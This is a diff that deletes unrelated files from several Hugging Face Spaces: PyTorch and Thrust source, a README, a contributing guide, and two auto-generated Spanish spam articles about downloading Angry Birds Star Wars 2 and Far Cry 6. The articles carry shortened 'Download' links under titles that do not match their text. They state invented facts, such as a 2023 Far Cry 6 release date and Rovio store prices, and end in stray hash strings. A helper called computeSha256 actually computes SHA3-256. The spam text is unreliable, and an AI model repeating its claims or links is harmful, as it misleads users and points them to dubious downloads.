-    """The DataParallel module that supports DataContainer.
-
-    MMDataParallel has two main differences with PyTorch DataParallel:
-
-    - It supports a custom type :class:`DataContainer` which allows more
-      flexible control of input data during both GPU and CPU inference.
-    - It implement two more APIs ``train_step()`` and ``val_step()``.
-
-    Args:
-        module (:class:`nn.Module`): Module to be encapsulated.
-        device_ids (list[int]): Device IDS of modules to be scattered to.
-            Defaults to None when GPU is not available.
-        output_device (str | int): Device ID for output. Defaults to None.
-        dim (int): Dimension used to scatter the data. Defaults to 0.
-    """
-
-    def __init__(self, *args, dim=0, **kwargs):
-        super(MMDataParallel, self).__init__(*args, dim=dim, **kwargs)
-        self.dim = dim
-
-    def forward(self, *inputs, **kwargs):
-        """Override the original forward function.
-
-        The main difference lies in the CPU inference where the data in
-        :class:`DataContainers` will still be gathered.
-        """
-        if not self.device_ids:
-            # We add the following line thus the module could gather and
-            # convert data containers as those in GPU inference
-            inputs, kwargs = self.scatter(inputs, kwargs, [-1])
-            return self.module(*inputs[0], **kwargs[0])
-        else:
-            return super().forward(*inputs, **kwargs)
-
-    def scatter(self, inputs, kwargs, device_ids):
-        return scatter_kwargs(inputs, kwargs, device_ids, dim=self.dim)
-
-    def train_step(self, *inputs, **kwargs):
-        if not self.device_ids:
-            # We add the following line thus the module could gather and
-            # convert data containers as those in GPU inference
-            inputs, kwargs = self.scatter(inputs, kwargs, [-1])
-            return self.module.train_step(*inputs[0], **kwargs[0])
-
-        assert len(self.device_ids) == 1, \
-            ('MMDataParallel only supports single GPU training, if you need to'
-             ' train with multiple GPUs, please use MMDistributedDataParallel'
-             'instead.')
-
-        for t in chain(self.module.parameters(), self.module.buffers()):
-            if t.device != self.src_device_obj:
-                raise RuntimeError(
-                    'module must have its parameters and buffers '
-                    f'on device {self.src_device_obj} (device_ids[0]) but '
-                    f'found one of them on device: {t.device}')
-
-        inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
-        return self.module.train_step(*inputs[0], **kwargs[0])
-
-    def val_step(self, *inputs, **kwargs):
-        if not self.device_ids:
-            # We add the following line thus the module could gather and
-            # convert data containers as those in GPU inference
-            inputs, kwargs = self.scatter(inputs, kwargs, [-1])
-            return self.module.val_step(*inputs[0], **kwargs[0])
-
-        assert len(self.device_ids) == 1, \
-            ('MMDataParallel only supports single GPU training, if you need to'
-             ' train with multiple GPUs, please use MMDistributedDataParallel'
-             ' instead.')
-
-        for t in chain(self.module.parameters(), self.module.buffers()):
-            if t.device != self.src_device_obj:
-                raise RuntimeError(
-                    'module must have its parameters and buffers '
-                    f'on device {self.src_device_obj} (device_ids[0]) but '
-                    f'found one of them on device: {t.device}')
-
-        inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids)
-        return self.module.val_step(*inputs[0], **kwargs[0])

spaces/Banbri/zcvzcv/src/lib/computeSha256.ts

@@ -1,14 +0,0 @@
-import { createHash } from 'node:crypto'
-
-/**
- * Returns a SHA256 hash using SHA-3 for the given `content`.
- *
- * @see https://en.wikipedia.org/wiki/SHA-3
- *
- * @param {String} content
- *
- * @returns {String}
- */
-export function computeSha256(strContent: string) {
-  return createHash('sha3-256').update(strContent).digest('hex')
-}

spaces/Benson/text-generation/Examples/Angry Birds Star Wars 2 Descarga Juego Para Pc Versin Completa.md

@@ -1,66 +0,0 @@
-
-<h1>Angry Birds Star Wars 2: Cómo descargar y jugar en PC</h1>
-<p>¿Eres fan de Angry Birds y Star Wars? Si es así, te encantará Angry Birds Star Wars 2, la secuela del popular juego crossover que combina lo mejor de ambos mundos. En este artículo, te mostraremos cómo descargar y jugar Angry Birds Star Wars 2 en tu PC, así como algunas características y consejos que harán que tu experiencia de juego sea más agradable. </p>
-<h2>angry birds star wars 2 descarga juego para pc versión completa</h2><br /><p><b><b>Download Zip</b> &middot;&middot;&middot; <a href="https://bltlly.com/2v6IV4">https://bltlly.com/2v6IV4</a></b></p><br /><br />
-<h2>Introducción</h2>
-<h3>¿Qué es Angry Birds Star Wars 2?</h3>
-<p>Angry Birds Star Wars 2 es un juego casual desarrollado por Rovio Entertainment Corporation, basado en la trilogía de precuela de Star Wars. El juego sigue la historia de las películas, con algunos giros y humor añadido por los personajes de Angry Birds. Puedes jugar como Bird Side o Pork Side, usando varios personajes, armas y habilidades inspiradas en el universo de Star Wars. El juego tiene más de 200 niveles, además de niveles de bonificación, logros y recompensas que puedes desbloquear recogiendo estrellas y monedas. </p>
-<h3>¿Por qué jugar Angry Birds Star Wars 2 en PC? </h3>
-<p>Mientras que Angry Birds Star Wars 2 está diseñado originalmente para dispositivos móviles, reproducirlo en PC tiene muchas ventajas. Por un lado, se puede disfrutar del juego en una pantalla más grande, con mejores gráficos y calidad de sonido. También puede utilizar el ratón y el teclado para controlar el juego más fácilmente, sin preocuparse por los dedos bloqueando la vista o quedándose sin batería. Jugar en PC también te da acceso a algunas funciones que no están disponibles en dispositivos móviles, como las mejoras BlueStacks que pueden mejorar tu experiencia de juego. </p>
-<h2>Cómo descargar y jugar Angry Birds Star Wars 2 en PC</h2>
-<h3>Método 1: Usando el emulador de BlueStacks</h3>
-<p>BlueStacks es un emulador de Android que te permite ejecutar aplicaciones y juegos de Android en tu PC. Es uno de los emuladores más populares y confiables del mercado, con más de 500 millones de usuarios en todo el mundo. Estos son los pasos para descargar y jugar Angry Birds Star Wars 2 en PC usando BlueStacks:</p>
-
-<p>Para descargar BlueStacks, vaya a <a href="( 1 )">https://www.bluestacks.com/apps/casual/ angry-birds-star-wars-2-on-pc.html</a> y haga clic en el botón Descargar Angry Birds Star Wars 2 en PC. Esto descargará el instalador de BlueStacks en su PC. Para instalar BlueStacks, haga doble clic en el instalador y siga las instrucciones en la pantalla. El proceso de instalación puede tardar unos minutos, dependiendo de las especificaciones de su PC. </p>
-<h4>Paso 2: Completa el inicio de sesión de Google para acceder a la Play Store</h4>
-<p>Después de instalar BlueStacks, iniciarlo y completar el proceso de inicio de sesión de Google. Esto te permitirá acceder a Google Play Store, donde puedes encontrar y descargar Angry Birds Star Wars 2. Si ya tienes una cuenta de Google, puedes usarla para iniciar sesión. Si no, puedes crear uno gratis. </p>
-<h4>Paso 3: Busca Angry Birds Star Wars 2 en la barra de búsqueda</h4>
-<p>Una vez que esté en la Play Store, busque Angry Birds Star Wars 2 en la barra de búsqueda en la esquina superior derecha de la pantalla. También puedes navegar por la categoría Casual para encontrar el juego. </p>
-<p></p>
-<h4>Paso 4: Haga clic para instalar Angry Birds Star Wars 2 de los resultados de búsqueda</h4>
-<p>Cuando vea Angry Birds Star Wars 2 en los resultados de búsqueda, haga clic en él para abrir su página. Luego, haz clic en el botón Instalar para comenzar a descargar e instalar el juego en tu PC. Esto puede tardar unos minutos, dependiendo de la velocidad de Internet y el rendimiento del PC. </p>
-<h4>Paso 5: Haga clic en el icono de Angry Birds Star Wars 2 en la pantalla de inicio para comenzar a jugar</h4>
-<p>Después de instalar Angry Birds Star Wars 2, puede encontrar su icono en la pantalla de inicio de BlueStacks. Haga clic en él para iniciar el juego y comenzar a jugar. También puedes acceder al juego desde tu escritorio o menú de inicio. </p>
-<h3>Método 2: Uso del sitio web de Rovio</h3>
-
-<h4>Paso 1: Ir al sitio web de Rovio y haga clic en Angry Birds Star Wars 2</h4>
-<p>Para ir al sitio web de Rovio, visite <a href=">https://www.rovio.com/games/angry-birds-star-wars-ii/</a> y haga clic en Angry Birds Star Wars 2. Esto lo llevará a la página del juego, donde puede ver algunas capturas de pantalla, videos e información sobre el juego. </p>
-<h4>Paso 2: Haga clic en Descargar ahora y elija su plataforma (Windows o Mac)</h4>
-<p>En la página del juego, haga clic en el botón Descargar ahora para proceder a la página de compra. Aquí, puede elegir su plataforma (Windows o Mac) y su método de pago (tarjeta de crédito o PayPal). El juego cuesta $4.95 para Windows y $5.99 para Mac.</p>
-<h4>Paso 3: Siga las instrucciones para instalar el juego en su PC</h4>
-<p>Después de comprar el juego, recibirá un correo electrónico con un enlace de descarga y una clave de licencia. Haga clic en el enlace de descarga para descargar el instalador del juego en su PC. Luego, ejecute el instalador y siga las instrucciones en la pantalla. Tendrá que introducir su clave de licencia cuando se le solicite. </p>
-<h4>Paso 4: Lanzar el juego y disfrutar de la aventura de Star Wars</h4>
-<p>Después de instalar el juego, puede iniciarlo desde su escritorio o menú de inicio. También puede crear un acceso directo para facilitar el acceso. ¡Disfruta jugando a Angry Birds Star Wars 2 en tu PC! </p>
-<h2>Características y consejos para jugar Angry Birds Star Wars 2 en PC</h2>
-<h3>Elija su lado: El lado del pájaro o el lado de cerdo</h3>
-<p>Una de las características únicas de Angry Birds Star Wars 2 es que puede elegir qué lado desea jugar como: El lado del pájaro o el lado de cerdo. Cada lado tiene su propia historia, niveles, personajes y habilidades. Puede cambiar de bando en cualquier momento pulsando en el icono de la esquina superior izquierda de la pantalla. También puede reproducir cualquier nivel con cualquier lado que desee. </p>
-<h3>Juega como más de 30 personajes del universo de Star Wars</h3>
-
-<h3>Usa la fuerza, sables de luz, blasters y otras armas para derrotar a tus enemigos</h3>
-<p>En Angry Birds Star Wars 2, puedes usar varias armas y gadgets del universo de Star Wars para derrotar a tus enemigos y destruir sus estructuras. Puedes usar la Fuerza para mover objetos, sables de luz para cortar metal, blasters para disparar láseres, imanes para atraer o repeler metal, cohetes para explotar en el impacto, y más. También puede utilizar elementos ambientales como cajas TNT, ventiladores, pozos de gravedad y portales a su favor. </p>
-<h3>Desbloquear niveles de bonificación, logros y recompensas mediante la recogida de estrellas y monedas</h3>
-<p>Al jugar Angry Birds Star Wars 2, puedes recoger estrellas y monedas completando niveles y alcanzando ciertos objetivos. Las estrellas se utilizan para desbloquear niveles de bonificación que presentan diferentes desafíos y escenarios. Las monedas se utilizan para comprar potenciadores que pueden ayudarte en el juego, como el Halcón Poderoso, el Droide Blaster, el Detonador Térmico y más. También puedes obtener logros al realizar tareas específicas, como usar un determinado personaje o arma varias veces, destruir una cierta cantidad de bloques o cerdos, o completar un nivel con una determinada puntuación. Los logros pueden darte monedas y recompensas adicionales. </p>
-<h3>Utilice la función Telepods para escanear sus juguetes físicos y traerlos al juego</h3>
-<p>Otra característica interesante de Angry Birds Star Wars 2 es la función Telepods. Los telepods son juguetes físicos que puedes comprar por separado del juego. Se basan en los personajes del juego, y vienen con una base que tiene un código QR. Puedes escanear el código QR usando la cámara de tu dispositivo y llevar el juguete al juego como un personaje jugable. Puedes usar cualquier personaje de Telepod en cualquier nivel que desees, independientemente del lado en el que estés jugando. También puedes intercambiar personajes durante el juego escaneando diferentes Telepods.</p>
-<h3>Utilice las mejoras BlueStacks para mejorar su experiencia de juego</h3>
-
-<h2>Conclusión</h2>
-<h3>Resumen de los puntos principales</h3>
-<p>En conclusión, Angry Birds Star Wars 2 es un juego divertido y adictivo que combina lo mejor de Angry Birds y Star Wars. Puedes descargarlo y reproducirlo en tu PC usando el emulador de BlueStacks o el sitio web de Rovio. Usted puede elegir qué lado que desea jugar como: El lado del pájaro o el lado de cerdo. Puedes jugar como más de 30 personajes del universo de Star Wars, cada uno con su propia habilidad especial. Puedes usar varias armas y gadgets del universo de Star Wars para derrotar a tus enemigos y destruir sus estructuras. Puedes desbloquear niveles de bonificación, logros y recompensas recogiendo estrellas y monedas. También puedes usar la función Telepods para escanear tus juguetes físicos y traerlos al juego. Y puedes usar las mejoras de BlueStacks para mejorar tu experiencia de juego. </p>
-<h3>Llamada a la acción</h3>
-<p>Si estás listo para unirte a la aventura épica de Star Wars con Angry Birds Star Wars 2 en PC, descárgalo ahora y comienza a jugar. ¡Que los pájaros estén contigo! </p>
- <h4>Preguntas frecuentes</h4>
-<ul>
-<li>Q: ¿Cuánto espacio ocupa Angry Birds Star Wars 2 en el PC? </li>
-<li>A: Según el sitio web de Rovio, Angry Birds Star Wars 2 toma unos 500 MB de espacio en PC.</li>
-<li>Q: ¿Cómo puedo actualizar Angry Birds Star Wars 2 en PC? </li>
-<li>A: Si está utilizando BlueStacks emulador, puede actualizar Angry Birds Star Wars 2 a través de la Google Play Store. Si está utilizando el sitio web de Rovio, puede comprobar si hay actualizaciones en su sitio web o en el propio juego. </li>
-<li>Q: ¿Cómo puedo obtener más monedas en Angry Birds Star Wars 2?</li>
-<li>A: Puedes obtener más monedas en Angry Birds Star Wars 2 completando niveles, ganando logros, viendo anuncios o comprándolos con dinero real. </li>
-<li>Q: ¿Cómo puedo usar potenciadores en Angry Birds Star Wars 2?</li>
-
-<li>Q: ¿Cómo puedo obtener más telepods en Angry Birds Star Wars 2?</li>
-<li>A: Puedes obtener más Telepods en Angry Birds Star Wars 2 comprándolos en tiendas online o offline. Se venden en packs que contienen diferentes personajes y bases. También puedes conseguirlos como regalos o promociones de Rovio u otros socios. </li>
-</ul></p> 64aa2da5cf<br />
-<br />
-<br />

spaces/Benson/text-generation/Examples/Descargar 6 Y 7 Libro De Moiss.md

@@ -1,126 +0,0 @@
-
-<h1>Cómo descargar Far Cry 6</h1>
-<p>Far Cry 6 es uno de los juegos más esperados de 2023, y finalmente está aquí. El juego se desarrolla en la ficticia isla caribeña de Yara, donde juegas como Dani Rojas, un guerrillero que se une a una revolución contra el dictador tiránico Antón Castillo, interpretado por Giancarlo Esposito. Far Cry 6 presenta un entorno de mundo abierto, una variedad de armas y vehículos, compañeros de animales, multijugador cooperativo y más. </p>
-<h2>descargar 6 y 7 libro de moisés</h2><br /><p><b><b>Download</b> &#127775; <a href="https://bltlly.com/2v6Mka">https://bltlly.com/2v6Mka</a></b></p><br /><br />
-<p>Far Cry 6 fue lanzado en todo el mundo el 7 de octubre de 2023, para PlayStation 4, PlayStation 5, Xbox One, Xbox Series X/S, PC, Stadia y Amazon Luna. Si te estás preguntando cómo descargar Far Cry 6 en tu plataforma preferida, has venido al lugar correcto. En este artículo, te mostraremos todo lo que necesitas saber sobre la descarga de Far Cry 6, incluidos los bonos de reserva, los requisitos del sistema y las guías paso a paso para cada plataforma. </p>
- <h2>Far Cry 6 Bonos de reserva</h2>
-<p>Si reservaste cualquier edición de Far Cry 6 antes de su fecha de lanzamiento, obtendrás algunos bonos exclusivos que mejorarán tu experiencia de juego. Estos bonos incluyen:</p>
-<ul>
-<li>Discos Locos - un arma mortal lanzador de discos que puede rebotar en las paredes y los enemigos. </li>
-<li>Libertad Chorizo - una piel para Chorizo, el adorable compañero de perro salchicha. </li>
-</ul>
-<p>Para obtener estos bonos, tendrá que canjear un código que viene con su correo electrónico de confirmación o recibo de reserva. Dependiendo de tu plataforma, deberás introducir este código en PlayStation Store, Microsoft Store, Epic Games Store, Ubisoft Store, Ubisoft+, la aplicación o sitio web de Stadia o la aplicación o sitio web de Luna. Una vez que canjees el código, podrás acceder a los bonos en el juego. </p>
- <h2>Requisitos del sistema Far Cry 6</h2>
-<p>Si estás planeando jugar Far Cry 6 en PC, tendrás que asegurarte de que tu sistema cumple con los requisitos mínimos o recomendados para el juego. Aquí hay una tabla de los requisitos del sistema para Far Cry 6:</p>
- <tabla>
-<tr>
-<th>Requisitos mínimos</th>
-
-</tr>
-<tr>
-<td>CPU: AMD Ryzen 3 1200 - 3.1 GHz / Intel i5-4460 - 3.2 GHz</td>
-<td>CPU: AMD Ryzen 5 3600X - 3.8 GHZ / Intel i7-7700 - 3.6 GHZ</td </tr>
-<tr>
-<td>GPU: AMD RX 460 - 4 GB / NVIDIA GTX 960 - 4 GB</td>
-<td>GPU: AMD RX VEGA64 - 8 GB / NVIDIA GTX 1080 - 8 GB</td>
-</tr>
-<tr>
-<td>RAM: 8 GB (modo de doble canal)</td>
-<td>RAM: 16 GB (modo de doble canal)</td>
-</tr>
-<tr>
-<td>Almacenamiento: 60 GB HDD (SSD recomendado)</td>
-<td>Almacenamiento: 60 GB HDD (SSD recomendado)</td>
-</tr>
-<tr>
-<td>OS: Windows 10 (64 bits)</td>
-<td>OS: Windows 10 (64 bits)</td>
-</tr>
-</tabla>
- <p>También puede comprobar la compatibilidad de su PC con Far Cry 6 mediante la aplicación Ubisoft Connect, que escaneará su sistema y lo comparará con los requisitos del juego. Puedes descargar la aplicación Ubisoft Connect desde la Ubisoft Store o el sitio web de Ubisoft. </p>
- <h2>Cómo descargar Far Cry 6 en PC</h2>
-<p>Si quieres jugar Far Cry 6 en PC, tienes varias opciones para elegir. Puedes comprar y descargar el juego en Epic Games Store, Ubisoft Store o Ubisoft+, que es el servicio de suscripción de Ubisoft que te da acceso a más de 100 juegos. He aquí cómo descargar Far Cry 6 en PC desde cada plataforma:</p>
- <h3>Tienda de juegos épicos</h3>
-<ol>
-<li>Lanza el lanzador de juegos épicos en tu PC, o descárgalo desde el sitio web de Epic Games si no lo tienes. </li>
-<li>Inicia sesión con tu cuenta de Epic Games, o crea una si no tienes una. </li>
-<li>Ir a la pestaña Tienda y buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
-<li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
-<li>Introduzca sus datos de pago y confirme su compra. </li>
-<li>Vaya a la pestaña Biblioteca y haga clic en Far Cry 6 para comenzar a descargar el juego. </li>
-<li>Una vez completada la descarga, haga clic en Iniciar para comenzar a jugar el juego. </li>
-</ol>
- <h3>Tienda de Ubisoft</h3>
-<ol>
-
-<li>Inicia sesión con tu cuenta de Ubisoft, o crea una si no tienes una. </li>
-<li>Ir a la pestaña Tienda y buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
-<li> Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Añadir al carrito.</li>
-<li>Haga clic en Pago e introduzca sus datos de pago y confirme su compra. </li>
-<li>Ir a la pestaña Juegos y haga clic en Far Cry 6 para comenzar a descargar el juego. </li>
-<li>Una vez completada la descarga, haz clic en Jugar para empezar a jugar. </li>
-</ol>
- <h3>Ubisoft+</h3>
-<ol>
-<li>Vaya al sitio web de Ubisoft+ e inicie sesión con su cuenta de Ubisoft, o cree una si no tiene una. </li>
-<li>Haga clic en Suscribirse ahora y elija un plan mensual o anual. Obtendrá una prueba gratuita durante siete días si es un suscriptor nuevo. </li>
-<li>Introduzca sus datos de pago y confirme su suscripción. </li>
-<li>Inicie la aplicación Ubisoft Connect en su PC, o descárguela desde la Ubisoft Store o el sitio web de Ubisoft si no la tiene. </li>
-<li>Vaya a la pestaña Juegos y haga clic en Far Cry 6 para comenzar a descargar el juego. Tendrás acceso a la edición definitiva de Far Cry 6, que incluye todos los DLC y contenido adicional. </li>
-<li>Una vez completada la descarga, haz clic en Jugar para empezar a jugar. </li>
-</ol>
- <h2>Cómo descargar Far Cry 6 en PlayStation</h2>
- <p>Si quieres jugar a Far Cry 6 en PlayStation 4 o PlayStation 5, puedes comprar y descargar el juego desde PlayStation Store. He aquí cómo descargar Far Cry 6 en PlayStation:</p>
-<p></p>
- <ol>
- <li>Enciende tu consola PlayStation e inicia sesión con tu cuenta de PlayStation Network, o crea una si no tienes una. </li>
- <li>Vaya al icono de PlayStation Store en la pantalla de inicio y selecciónelo. </li>
- <li>Buscar Far Cry 6, o haga clic en este enlace (para PS4) o este enlace (para PS5) para ir directamente a la página del juego. </li>
- <li>Seleccione la edición de Far Cry 6 que desea comprar , y haga clic en Añadir al carrito.</li>
-
-<li>Ve a tu biblioteca y selecciona Comprado. Encuentra Far Cry 6 y haz clic en Descargar.</li>
-<li>Una vez completada la descarga, puede iniciar el juego desde su pantalla de inicio o Biblioteca.</li>
-</ol>
- <h2>Cómo descargar Far Cry 6 en Xbox</h2>
-<p>Si quieres jugar a Far Cry 6 en Xbox One o Xbox Series X/S, puedes comprar y descargar el juego en Microsoft Store. He aquí cómo descargar Far Cry 6 en Xbox:</p>
-<ol>
-<li>Encienda su consola Xbox e inicie sesión con su cuenta de Microsoft, o cree una si no tiene una. </li>
-<li> Vaya al icono de Microsoft Store en la pantalla de inicio y selecciónelo. </li>
-<li>Buscar Far Cry 6, o haga clic en este enlace (para Xbox One) o este enlace (para Xbox Series X/S) para ir directamente a la página del juego. </li>
-<li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
-<li>Introduzca sus datos de pago y confirme su compra. </li>
-<li>El juego comenzará a descargarse automáticamente. Puede comprobar el progreso en la sección Cola del menú Mis juegos y aplicaciones. </li>
-<li>Una vez que la descarga se ha completado, puede iniciar el juego desde la pantalla de inicio o el menú Mis juegos y aplicaciones. </li>
-</ol>
- <h2>Cómo descargar Far Cry 6 en Stadia</h2>
-<p>Si quieres jugar Far Cry 6 en Stadia, puedes comprar y transmitir el juego desde la aplicación o sitio web de Stadia. He aquí cómo descargar Far Cry 6 en Stadia:</p>
-<ol>
-<li>Vaya a la aplicación o sitio web de Stadia e inicie sesión con su cuenta de Google, o cree una si no tiene una. </li>
-<li>Buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
-<li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar.</li>
-<li>Introduzca sus datos de pago y confirme su compra. </li>
-<li>El juego se agregará a su biblioteca. Puede comenzar a jugarlo haciendo clic en Play.</li>
-</ol>
- <h2>Cómo descargar Far Cry 6 en Amazon Luna</h2>
-
-<ol>
-<li>Vaya a la aplicación o sitio web de Luna e inicie sesión con su cuenta de Amazon, o cree una si no tiene una. </li>
-<li>Buscar Far Cry 6, o haga clic en este enlace para ir directamente a la página del juego. </li>
-<li>Seleccione la edición de Far Cry 6 que desea comprar, y haga clic en Comprar ahora.</li>
-<li>Introduzca sus datos de pago y confirme su compra. </li>
-<li>El juego se agregará a su biblioteca. Puede comenzar a jugarlo haciendo clic en Play.</li>
-</ol>
- <h1>Conclusión</h1>
- <p>Far Cry 6 es un emocionante juego de acción y aventura que te permite explorar una gran isla de mundo abierto, luchar contra un dictador despiadado y personalizar tus armas y vehículos. Tanto si juegas en PC, PlayStation, Xbox, Stadia o Amazon Luna, puedes descargar fácilmente Far Cry 6 siguiendo nuestras guías anteriores. No pierdas esta oportunidad de unirte a la revolución y liberar a Yara de la opresión de Antón Castillo. Reserva o compra Far Cry 6 hoy y prepárate para una experiencia de juego inolvidable. </p>
- <h1>Preguntas frecuentes</h1>
- <h4>P: ¿Qué tan grande es Far Cry 6?</h4>
- <p>A: Según Ubisoft, Far Cry 6 tiene alrededor de 50 GB de tamaño para PC, PlayStation y Xbox. Para Stadia y Amazon Luna, el tamaño puede variar dependiendo de su conexión a Internet y calidad de transmisión. </p>
- <h4>Q: ¿Puedo jugar Far Cry 6 sin conexión? </h4>
- <p>A: Sí, puedes jugar Far Cry 6 sin conexión en modo de un solo jugador. Sin embargo, necesitarás una conexión a Internet para algunas funciones, como multijugador cooperativo, almacenamiento en la nube, tablas de clasificación y actualizaciones. </p>
- <h4>Q: ¿Puedo jugar Far Cry 6 con mis amigos? </h4>
- <p>A: Sí, puedes jugar a Far Cry 6 con tus amigos en modo multijugador cooperativo. Puedes invitar a hasta tres amigos a unirse a tu juego y explorar Yara juntos. También puedes usar funciones de cross-play y cross-progression para jugar con amigos en diferentes plataformas y dispositivos. </p>
-
- <h4>P: ¿Cuál es la diferencia entre las ediciones Standard, Gold, Ultimate y Collector’s de Far Cry 6?</h4>
- <p>A: La Edición Estándar de Far Cry 6 incluye el juego base y los bonos de preorden. La Edición de Oro incluye el juego base, los bonos de preorden y el Pase de Temporada, que te da acceso a tres DLCs y más contenido. La Ultimate Edition incluye todo en la Gold Edition, además del Ultimate Pack, que contiene cuatro paquetes cosméticos: el Croc Hunter Pack, el Vice Pack, el Jungle Expedition Pack y el Blood Dragon Pack. The Collector’s Edition incluye todo en la Ultimate Edition, además de una réplica física de Tostador, un arma lanzallamas del juego, una caja de acero, un libro de arte, un mapa de Yara, un CD de banda sonora, un conjunto de pegatinas y un llavero. </p> 64aa2da5cf<br />
-<br />
-<br />

spaces/Bonosa2/dall-e_image-generation/README.md

@@ -1,12 +0,0 @@
----
-title: Dall-e Image-generation
-emoji: 📉
-colorFrom: pink
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.29.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/CVPR/Dual-Key_Backdoor_Attacks/openvqa/docs/_source/advanced/contributing.md

@@ -1,29 +0,0 @@
-# Contributing to OpenVQA
-
-All kinds of contributions are welcome, including but not limited to the following.
-
-- Fixes (typo, bugs)
-- New features and components
-
-## Workflow
-
-1. fork and pull the latest version of OpenVQA
-2. checkout a new branch (do not use master branch for PRs)
-3. commit your changes
-4. create a PR
-
-## Code style
-
-### Python
-We adopt [PEP8](https://www.python.org/dev/peps/pep-0008/) as the preferred code style.
-We use [flake8](http://flake8.pycqa.org/en/latest/) as the linter and [yapf](https://github.com/google/yapf) as the formatter.
-Please upgrade to the latest yapf (>=0.27.0) and refer to the configuration.
-
->Before you create a PR, make sure that your code lints and is formatted by yapf.
-
-### C++ and CUDA
-We follow the [Google C++ Style Guide](https://google.github.io/styleguide/cppguide.html).
-
-
-
-

spaces/CVPR/LIVE/thrust/thrust/system/detail/generic/replace.h

@@ -1,98 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-
-#pragma once
-
-#include <thrust/detail/config.h>
-#include <thrust/system/detail/generic/tag.h>
-
-namespace thrust
-{
-namespace system
-{
-namespace detail
-{
-namespace generic
-{
-
-
-template<typename DerivedPolicy, typename InputIterator, typename OutputIterator, typename Predicate, typename T>
-__host__ __device__
-  OutputIterator replace_copy_if(thrust::execution_policy<DerivedPolicy> &exec,
-                                 InputIterator first,
-                                 InputIterator last,
-                                 OutputIterator result,
-                                 Predicate pred,
-                                 const T &new_value);
-
-
-template<typename DerivedPolicy, typename InputIterator1, typename InputIterator2, typename OutputIterator, typename Predicate, typename T>
-__host__ __device__
-  OutputIterator replace_copy_if(thrust::execution_policy<DerivedPolicy> &exec,
-                                 InputIterator1 first,
-                                 InputIterator1 last,
-                                 InputIterator2 stencil,
-                                 OutputIterator result,
-                                 Predicate pred,
-                                 const T &new_value);
-
-
-template<typename DerivedPolicy, typename InputIterator, typename OutputIterator, typename T>
-__host__ __device__
-  OutputIterator replace_copy(thrust::execution_policy<DerivedPolicy> &exec,
-                              InputIterator first,
-                              InputIterator last,
-                              OutputIterator result,
-                              const T &old_value,
-                              const T &new_value);
-
-
-template<typename DerivedPolicy, typename ForwardIterator, typename Predicate, typename T>
-__host__ __device__
-  void replace_if(thrust::execution_policy<DerivedPolicy> &exec,
-                  ForwardIterator first,
-                  ForwardIterator last,
-                  Predicate pred,
-                  const T &new_value);
-
-
-template<typename DerivedPolicy, typename ForwardIterator, typename InputIterator, typename Predicate, typename T>
-__host__ __device__
-  void replace_if(thrust::execution_policy<DerivedPolicy> &exec,
-                  ForwardIterator first,
-                  ForwardIterator last,
-                  InputIterator stencil,
-                  Predicate pred,
-                  const T &new_value);
-
-
-template<typename DerivedPolicy, typename ForwardIterator, typename T>
-__host__ __device__
-  void replace(thrust::execution_policy<DerivedPolicy> &exec,
-               ForwardIterator first,
-               ForwardIterator last,
-               const T &old_value,
-               const T &new_value);
-
-
-} // end namespace generic
-} // end namespace detail
-} // end namespace system
-} // end namespace thrust
-
-#include <thrust/system/detail/generic/replace.inl>
-

spaces/CVPR/LIVE/thrust/thrust/system/tbb/detail/find.h

@@ -1,46 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/config.h>
-#include <thrust/system/detail/generic/find.h>
-#include <thrust/system/tbb/detail/execution_policy.h>
-
-namespace thrust
-{
-namespace system
-{
-namespace tbb
-{
-namespace detail
-{
-
-template <typename DerivedPolicy, typename InputIterator, typename Predicate>
-InputIterator find_if(execution_policy<DerivedPolicy> &exec,
-                      InputIterator first,
-                      InputIterator last,
-                      Predicate pred)
-{
-  // tbb prefers generic::find_if to cpp::find_if
-  return thrust::system::detail::generic::find_if(exec, first, last, pred);
-}
-
-} // end namespace detail
-} // end namespace tbb
-} // end namespace system
-} // end namespace thrust
-

spaces/CVPR/WALT/walt/apis/train.py

@@ -1,187 +0,0 @@
-import random
-import warnings
-
-import numpy as np
-import torch
-from mmcv.parallel import MMDataParallel, MMDistributedDataParallel
-from mmcv.runner import (HOOKS, DistSamplerSeedHook, EpochBasedRunner,
-                         Fp16OptimizerHook, OptimizerHook, build_optimizer,
-                         build_runner)
-from mmcv.utils import build_from_cfg
-
-from mmdet.core import DistEvalHook, EvalHook
-from walt.datasets import (build_dataloader, build_dataset,
-                            replace_ImageToTensor)
-from mmdet.utils import get_root_logger
-from mmcv_custom.runner import EpochBasedRunnerAmp
-try:
-    import apex
-except:
-    print('apex is not installed')
-
-
-def set_random_seed(seed, deterministic=False):
-    """Set random seed.
-
-    Args:
-        seed (int): Seed to be used.
-        deterministic (bool): Whether to set the deterministic option for
-            CUDNN backend, i.e., set `torch.backends.cudnn.deterministic`
-            to True and `torch.backends.cudnn.benchmark` to False.
-            Default: False.
-    """
-    random.seed(seed)
